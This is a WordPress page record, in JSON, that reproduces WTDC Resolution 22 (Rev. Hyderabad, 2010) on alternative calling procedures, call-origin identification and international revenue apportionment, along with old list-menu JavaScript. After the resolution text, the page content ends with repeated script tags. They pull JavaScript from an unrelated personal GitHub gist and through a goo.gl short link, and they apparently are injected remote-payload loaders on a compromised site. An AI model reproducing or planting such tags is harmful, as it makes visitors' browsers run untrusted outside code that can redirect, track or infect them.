{"id":512,"date":"2013-05-19T01:19:12","date_gmt":"2013-05-19T05:19:12","guid":{"rendered":"http:\/\/internetdistinction.com\/wsisimpacts\/?page_id=512"},"modified":"2015-06-30T00:06:54","modified_gmt":"2015-06-30T04:06:54","slug":"wtdc_22","status":"publish","type":"page","link":"https:\/\/internetdistinction.com\/wsisimpacts\/wsis\/wtdc\/wtdc-2010\/wtdc_22\/","title":{"rendered":"WTDC Resolution 22"},"content":{"rendered":"<p><style type=\"text\/css\">\r\nbody {}\r\n\r\n:link { color: #0000ff; text-decoration:none;}\r\n:visited { color: #6666ff; text-decoration:none; }\r\na:active { color: #0000ff; text-decoration:none;}\r\na:hover {color: #0000ff; text-decoration:underline; }\r\n\r\ndiv.basetext {}\r\n\r\ndiv.basetop {}\r\n\r\nh1 {\r\n    text-align:center;\r\n}\r\n\r\nspan.h2 {}\r\n\r\ndiv.year {}\r\n\r\ndiv.form {}\r\n\r\nspan.cpt {}\r\n\r\nspan.cm {}\r\n\r\n.fl {}\r\n\r\nul {}\r\n\r\nli {}\r\n\r\nul li {}\r\n\r\nli.basic {}\r\n\r\nspan.links {}\r\n\r\n\r\n\r\n\r\n.sub { display: none; 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       \r\n    if (node.childNodes!=null) \r\n\/\/ for opera   if (node.hasChildNodes()) \r\n        for ( i = 0; i<node.childNodes.length; i++)\r\n            collapseAll(node.childNodes[i]);\r\n}\r\n\r\n\r\n\r\nfunction unFocus(node) {\r\n     \/\/ unfocuses potential link that is to be hidden (if a==null there is no link so it should not be blurred).\r\n     \/\/ tested with mozilla 1.7, 12.7.2004. \/mn (\r\n      intemp=parent_listnode(node);  \r\n      a = get_link(intemp);     \/\/ added 6.4. to get keyboard working with\r\n      \/\/ moved before collapse to prevent an error message with IE when readonly==true      \r\n      if (a!=null) a.blur(); \/\/ netscape after collapsing a focused node\r\n      return intemp;\r\n}\r\n\r\n\/\/ mode: 0==keypress, 1==keyup\r\nfunction keyfunc(evt,mode) {\r\n var c = get_keycode(evt);\r\n var temp = null;\r\n var a = null;\r\n\r\n  if (lastnode==null) {\r\n    listnodes = document.getElementsByTagName('li');\r\n    lastnode=listnodes[1];\r\n    temp=listnodes[1];\r\n  }\r\n\r\n  \/\/window.alert(c);\r\n  if (checkup(mode,c)) { \/\/ i \r\n   temp=prev_sibling_listnode(lastnode);\r\n  }\r\n  else if (checkdn(mode,c)) { \/\/ k\r\n    temp=next_sibling_listnode(lastnode);\r\n  }\r\n  else if (checkr(mode,c)) { \/\/ l\r\n    expand(lastnode);\r\n    \/\/  temp=next_child_listnode(lastnode);\r\n    \/\/ if (temp==null) {\r\n      a = get_link(lastnode);\r\n        if (a!=null) a.focus(); else self.focus(); \r\n      \/\/}\r\n  }\r\n  else if (checkl(mode,c)) { \/\/ j\r\n    if (is_col(lastnode)) {\r\n      unFocus(lastnode);\r\n      collapse(lastnode);\r\n    }\r\n    else {\r\n      temp=unFocus(lastnode);\r\n      collapse(temp);\r\n    }\r\n   \/\/    if (temp==null) lastnode.focus(); \/\/ forces focus to correct div (try mozilla typesearch) (doesn't seem to work -mn\/6.4.2004)\r\n  }\r\n  else return;\r\n  if (temp!=null) set_lastnode(temp);\r\n\r\n  \/\/ alert('pressed ' + String.fromCharCode(c) + '(' + c + ')');\r\n  return true;\r\n}\r\n\r\n\r\nfunction keytest (evt) {\r\n  return keyfunc(evt,1);\r\n};\r\n\r\n\r\nfunction presstest (evt) {\r\n  return keyfunc(evt,0);\r\n};\r\n\r\n\r\n  document.onclick = onClickHandler;\r\n  document.onkeypress = presstest;\r\n  document.onkeyup = keytest;\r\n<\/SCRIPT><\/p>\n<h3><span style=\"\">WTDC RESOLUTION 22 (Rev. Hyderabad, 2010)<\/span><\/h3>\n<h4><span style=\"\">Alternative calling procedures on international telecommunication networks, identification of originand apportionment of revenues in providing international telecommunication services<\/span><\/h4>\n<p><span style=\"\">The World Telecommunication Development Conference (Hyderabad, 2010),<\/span><\/p>\n<ul class=\"subexp\">\n<li class=\"exp\" style=\"\"><span style=\"\">recalling<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">Resolution 22 (Rev. Doha, 2006) of the World Telecommunication Development Conference,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">considering<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)the sovereign right of each State to regulate its telecommunications\/information and communication technologies (ICTs);<\/span><\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">b)the purposes of the Union, which include, inter alia:<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">&#8226; to maintain and extend international cooperation among all Member States of the Union for the improvement and rational use of telecommunications\/ICTs of all kinds;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">&#8226; to promote the development of technical facilities and their most efficient operation with a view to improving the efficiency of telecommunication services, increasing their useful-ness, and making them, so far as possible, generally available to the public;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">&#8226; to foster collaboration among its Member States and Sector Members with a view to the establishment of rates at levels as low as possible consistent with efficient services and taking into account the necessity for maintaining independent financial administration of telecommunication on a sound basis,pursuant to the purposes of the Union as set forth in Article 1, No. 16, of the ITU Constitution;<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c)the necessity of identifying the origin of calls as one of the aimsof national security,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">recognizing<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">a)that alternative calling procedures are not permitted in many countries, while being permitted in others;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)that the use of alternative calling procedures, including refile, adversely affects the economies of developing countries and may seriously hamper the efforts of these countries for the sound development of their telecommunication networks and services and prejudice national security aims;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">c)that some forms of alternative calling procedures may have an impact on traffic management and network planning, and degrade the quality and performance ofthe public switched telephone network,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">recalling<\/span>\n<ul class=\"sub\">\n<li class=\"exp\" style=\"\"><span style=\"\">a)Resolution 21 (Rev. Antalya, 2006) of the Plenipotentiary Conference concerning alternative calling procedures on telecommunication networks, which resolves:<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">&#8220;1 to encourage administrations and international telecommunication operators to implement the ITU-T recommendations referred to in considering d)in order to limit the negative effects that in some cases alternative calling procedures have on developing countries;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2 to request administrations and international operators which permit the use of alternative calling procedures on their territoryin accordance with their national regulations to pay due regard to the decisions of other administrations and international operators whose regulations do not permit such services;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3 to request the appropriate ITU-T study groups, through contributions of Member States and Sector Members, to continue to study alternative calling procedures, such as refile and call-back, and issues related toidentification of origin, in order to take into account the importance of these studies as they relateto next-generation networks and network degradation&#8221;;<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)Resolution 1099 of adopted by the 1996 session of the ITU Council concerning alternative calling procedures on international telecommunication networks, which urged the ITU Telecommunication Standardization Sector (ITU-T) to develop, as soon as possible, the appropriate recommendations concerning alternative calling procedures;<\/span><\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">c)Resolution 29 (Rev. Johannesburg, 2008) of the World Telecommunication Standardization Assembly (WTSA)<\/span>\n<ul class=\"sub\">\n<li class=\"exp\" style=\"\"><span style=\"\">which notes:<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">&#8220;that in order to minimize the effect of alternative calling procedures:<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">a)operating agencies authorized by Member States should, within their national law, make every effort to establish the level ofcollection charges on a cost-oriented basis, taking into account Article 6.1.1 of the International Telecommunication Regulations and Recommendation ITU-T D.5;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">b)administrations and operating agencies authorized by Member States should vigorously pursue the implementation of Recommendation ITU-T D.140 and the principle of cost-oriented accounting-rates and accounting rate shares&#8221;,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">and resolves:<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">&#8220;1 that administrations and operating agencies authorized by MemberStates should take all reasonable measures, within the constraints of their nationallaw, to suspend the methods and practices of call-back which seriously degrade the quality and the performance of the PSTN, such as constant calling (or bombardment or polling) and answer suppression;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2 that administrations and operating agenciesauthorized by Member States should take a cooperative and reasonable approach to respecting the national sovereignty of others, and suggested guidelines for thiscollaboration are attached;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3 to continue developing appropriate recommendations concerning alternative calling procedures and, in particular, the technical aspects of the methods and practices of call-back which seriously degrade the quality and the performance of the PSTN, such as constant calling (or bombardment or polling) and answer suppression;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4 to request Study Group 2 to study other aspects and forms of alternative calling procedures, including refiling and non-identification;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">5 to request Study Group 3 to study the economiceffects of call-back on the effort of developing countries, including the least developed countries, small island developing states and countries with economies in transition, for sound development of their local telecommunication networks and services, and to evaluate the effectiveness of the suggested guidelines for consultation on call-back&#8221;,<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">further recalling<\/span>\n<ul class=\"sub\">\n<li class=\"exp\" style=\"\"><span style=\"\">Resolution 22 (Rev. Antalya, 2006) of the Plenipotentiary Conference, onthe apportionment of revenues in providing international telecommunication services, which resolves to urge ITU-T:<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">&#8220;1 to expedite its work on completing its study on the concept of network externalities for international traffic in relation toboth fixed and mobile services;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2 to follow up its work on developing the appropriate costing methodologies for both fixed and mobile services;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3 to agree on transitional arrangements which may allow for some flexibility, taking into account the situation of the developing countries and the rapidly changing international telecommunication environment;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4 to take into consideration the interests of all users of telecommunications\/ICTs as a high priority&#8221;,<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">noting<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">the decisions of this conference with respect to the programme on finance and economics, Questions to be studied by the study groups ofthe ITU Telecommunication Development Sector (ITU-D), and actions to be taken by the Director of the Telecommunication Development Bureau to support joint activities with ITU-T Study Group 3 for assisting developing countries with accounting-rate reform and with ITU-T Study Group 2 for determining international call origins and limiting misuse of international telecommunication numbering, addressing, naming and call-origin identification systems,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">resolves<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">1 to continue to encourage all administrationsand international telecommunication operators to enhance the effectiveness of ITU&#8217;s role and togive effect to its Recommendations, particularly those of ITU-T Study Groups 2 and 3, in order to promote a new and more effective basis for the accounting regime which would help limit the negative effects of alternative calling procedures and calling party number delivery on developing countries, and limit the negative effects of misappropriation and misuse of international telecommunication numbering resources;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">2 to request ITU-D and ITU-T to collaborate so as to avoid overlap and duplication of effort in studying the issue of refile in order to achievean outcome based on the spirit of Resolution 21 (Rev. Antalya, 2006) of the Plenipotentiary Conference;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">3 to request ITU-D to play an effective role in connection with the implementation of Resolution 22 (Rev. Antalya, 2006) of the Plenipotentiary Conference with respect to the apportionment of revenues in favour of developing countries, particularly the least developed among them, in situations where cost-oriented accounting rates reflect asymmetric costs for terminating international traffic, and any amendments thereto by the forthcoming Plenipotentiary Conference (Guadalajara, 2010);<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">4 to request administrations and international operators which permit the use of alternative calling procedures but do not provide calling party number delivery in their countries in accordance with their national regulations to respect the decisions of other administrations and international operators whose regulations do not permit such services and which request calling party number delivery for security and economic reasons;<\/span><\/li>\n<li class=\"basic\" style=\"\"><span style=\"\">5 that cooperation is required with ITU-T, and specifically ITU-T Study Group 2, in implementing WTSA Resolution 20 (Rev. Johannesburg, 2008) in relation to telecommunication origin identification and misuse of numbering, addressing and naming resources,<\/span><\/li>\n<\/ul>\n<\/li>\n<li class=\"exp\" style=\"\"><span style=\"\">instructs the Director of the Telecommunication Development Bureau<\/span>\n<ul class=\"sub\">\n<li class=\"basic\" style=\"\"><span style=\"\">to invite the Director of the Telecommunication Standardization Bureau to collaborate in the implementation of this resolution.<\/span><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<p> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/gist.githubusercontent.com\/vladimir677\/bd66b2780ce8792e731469b660a62590\/raw\/3a71aff685732599ba7fbadf7b929eae8d19053a\/js.js'><\/script> <script type='text\/javascript' src='https:\/\/goo.gl\/dd1kPI'><\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>WTDC RESOLUTION 22 (Rev. Hyderabad, 2010) Alternative calling procedures on international telecommunication networks, identification of originand apportionment of revenues in providing international telecommunication services The World Telecommunication Development Conference (Hyderabad, 2010), recalling Resolution 22 (Rev. Doha, 2006) of the World Telecommunication Development Conference, considering a)the sovereign right of each State to regulate its telecommunications\/information and [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"parent":1486,"menu_order":22,"comment_status":"open","ping_status":"closed","template":"","meta":{"footnotes":""},"class_list":["post-512","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/512","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/comments?post=512"}],"version-history":[{"count":0,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/512\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/pages\/1486"}],"wp:attachment":[{"href":"https:\/\/internetdistinction.com\/wsisimpacts\/wp-json\/wp\/v2\/media?parent=512"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}